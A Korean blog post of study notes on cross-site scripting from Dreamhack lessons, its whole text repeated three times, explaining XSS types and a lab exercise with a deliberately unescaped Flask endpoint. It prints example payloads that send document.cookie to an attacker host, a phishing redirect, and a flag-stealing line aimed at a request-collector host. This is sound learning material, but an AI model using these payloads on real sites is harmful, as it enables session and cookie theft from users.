해킹

[dreamhack]XSS 공부

이수민 2023. 3. 16. 22:08

 

XSS : 클라이언트 사이드 취약점 중 하나, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있음. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다.

ex) 드림핵 웹 페이지에서 XSS 취약점이 존재하면 https://dreamhack.io 내에서 오리진 권한으로 악성 스크립트를 삽입합니다. 이후에 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있습니다.

SOP 보안 정책이 등장하면서 XXS공격이 어려워지긴 함

<div>
    <h3 class="title"><script>alert("1")</script></h3>
    <p class="content">123</p>
</div>

html의 <script> tag에 관한 링크

https://developer.mozilla.org/ko/docs/Web/HTML/Element/script

 

<script>: 스크립트 요소 - HTML: Hypertext Markup Language | MDN

HTML <script> 요소는 데이터와 실행 가능한 코드를 문서에 포함할 때 사용하며 보통 JavaScript 코드와 함께 씁니다. WebGL의 GLSL 셰이더 프로그래밍 언어, JSON 등 다른 언어와도 사용할 수 있습니다.

developer.mozilla.org

 

Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSSFragment는 서버 요청/응답 에 포함되지 않습니다.
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

예시 공격 코드

// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 <<a href=http://hacker.dreamhack.io>http://hacker.dreamhack.io</a>>
// "<<a href=http://hacker.dreamhack.io/?cookie=현재페이지의쿠키>http://hacker.dreamhack.io/?cookie=현재페이지의쿠키</a>>" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "<<a href=http://hacker.dreamhack.io/?cookie=>http://hacker.dreamhack.io/?cookie=</a>>" + document.cookie;
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "<<a href=http://hacker.dreamhack.io/phishing>http://hacker.dreamhack.io/phishing</a>>"; 
// 새 창 열기
window.open("<<a href=http://hacker.dreamhack.io/>http://hacker.dreamhack.io/</a>>")

stored XSS

XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

삽입 코드

<script>alert(”hey~”)</script>

Reflected XSS

XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS

삽입코드(타이핑중이던 노션)

http://dreamhack.io/?search=<script>window.open("https://www.notion.so/dreamhack-XXS-cbb41c6466c6439d8218d72e37371885")</script>

Exercise: XSS

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get('memo', '') # 사용가 전송한 memo 입력값을 가져옴
    memo_text += text + '\\n' # 사용가 전송한 memo 입력값을 memo_text에 추가
    return render_template('memo.html', memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력하는 동작을 수행한다.

memo는 render_template 함수를 사용해 memo.html을 출력한다. render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다.

그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생한다.

flag 창에 입력

location.href = "<http://RANDOMHOST.request.dreamhack.games/?memo=>" document.cookie;

참고문헌 : 드림핵

[dreamhack]XSS 공부

XSS : 클라이언트 사이드 취약점 중 하나, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있음. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다.

ex) 드림핵 웹 페이지에서 XSS 취약점이 존재하면 https://dreamhack.io 내에서 오리진 권한으로 악성 스크립트를 삽입합니다. 이후에 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있습니다.

SOP 보안 정책이 등장하면서 XXS공격이 어려워지긴 함

<div>
    <h3 class="title"><script>alert("1")</script></h3>
    <p class="content">123</p>
</div>

html의 <script> tag에 관한 링크

https://developer.mozilla.org/ko/docs/Web/HTML/Element/script

Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSSFragment는 서버 요청/응답 에 포함되지 않습니다.
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

예시 공격 코드

// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 <<a href=http://hacker.dreamhack.io>http://hacker.dreamhack.io</a>>
// "<<a href=http://hacker.dreamhack.io/?cookie=현재페이지의쿠키>http://hacker.dreamhack.io/?cookie=현재페이지의쿠키</a>>" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "<<a href=http://hacker.dreamhack.io/?cookie=>http://hacker.dreamhack.io/?cookie=</a>>" + document.cookie;
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "<<a href=http://hacker.dreamhack.io/phishing>http://hacker.dreamhack.io/phishing</a>>"; 
// 새 창 열기
window.open("<<a href=http://hacker.dreamhack.io/>http://hacker.dreamhack.io/</a>>")

stored XSS

XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

삽입 코드

<script>alert(”hey~”)</script>

Reflected XSS

XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS

삽입코드(타이핑중이던 노션)

http://dreamhack.io/?search=<script>window.open("https://www.notion.so/dreamhack-XXS-cbb41c6466c6439d8218d72e37371885")</script>

Exercise: XSS

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get('memo', '') # 사용가 전송한 memo 입력값을 가져옴
    memo_text += text + '\\n' # 사용가 전송한 memo 입력값을 memo_text에 추가
    return render_template('memo.html', memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력하는 동작을 수행한다.

memo는 render_template 함수를 사용해 memo.html을 출력한다. render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다.

그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생한다.

flag 창에 입력

location.href = "<http://RANDOMHOST.request.dreamhack.games/?memo=>" document.cookie;

참고문헌 : 드림핵

[dreamhack]XSS 공부

XSS : 클라이언트 사이드 취약점 중 하나, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있음. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다.

ex) 드림핵 웹 페이지에서 XSS 취약점이 존재하면 https://dreamhack.io 내에서 오리진 권한으로 악성 스크립트를 삽입합니다. 이후에 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있습니다.

SOP 보안 정책이 등장하면서 XXS공격이 어려워지긴 함

<div>
    <h3 class="title"><script>alert("1")</script></h3>
    <p class="content">123</p>
</div>

html의 <script> tag에 관한 링크

https://developer.mozilla.org/ko/docs/Web/HTML/Element/script

Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSSFragment는 서버 요청/응답 에 포함되지 않습니다.
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

예시 공격 코드

// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 <<a href=http://hacker.dreamhack.io>http://hacker.dreamhack.io</a>>
// "<<a href=http://hacker.dreamhack.io/?cookie=현재페이지의쿠키>http://hacker.dreamhack.io/?cookie=현재페이지의쿠키</a>>" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "<<a href=http://hacker.dreamhack.io/?cookie=>http://hacker.dreamhack.io/?cookie=</a>>" + document.cookie;
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "<<a href=http://hacker.dreamhack.io/phishing>http://hacker.dreamhack.io/phishing</a>>"; 
// 새 창 열기
window.open("<<a href=http://hacker.dreamhack.io/>http://hacker.dreamhack.io/</a>>")

stored XSS

XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

삽입 코드

<script>alert(”hey~”)</script>

Reflected XSS

XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS

삽입코드(타이핑중이던 노션)

http://dreamhack.io/?search=<script>window.open("https://www.notion.so/dreamhack-XXS-cbb41c6466c6439d8218d72e37371885")</script>

Exercise: XSS

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get('memo', '') # 사용가 전송한 memo 입력값을 가져옴
    memo_text += text + '\\n' # 사용가 전송한 memo 입력값을 memo_text에 추가
    return render_template('memo.html', memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력하는 동작을 수행한다.

memo는 render_template 함수를 사용해 memo.html을 출력한다. render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다.

그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생한다.

flag 창에 입력

location.href = "<http://RANDOMHOST.request.dreamhack.games/?memo=>" document.cookie;

참고문헌 : 드림핵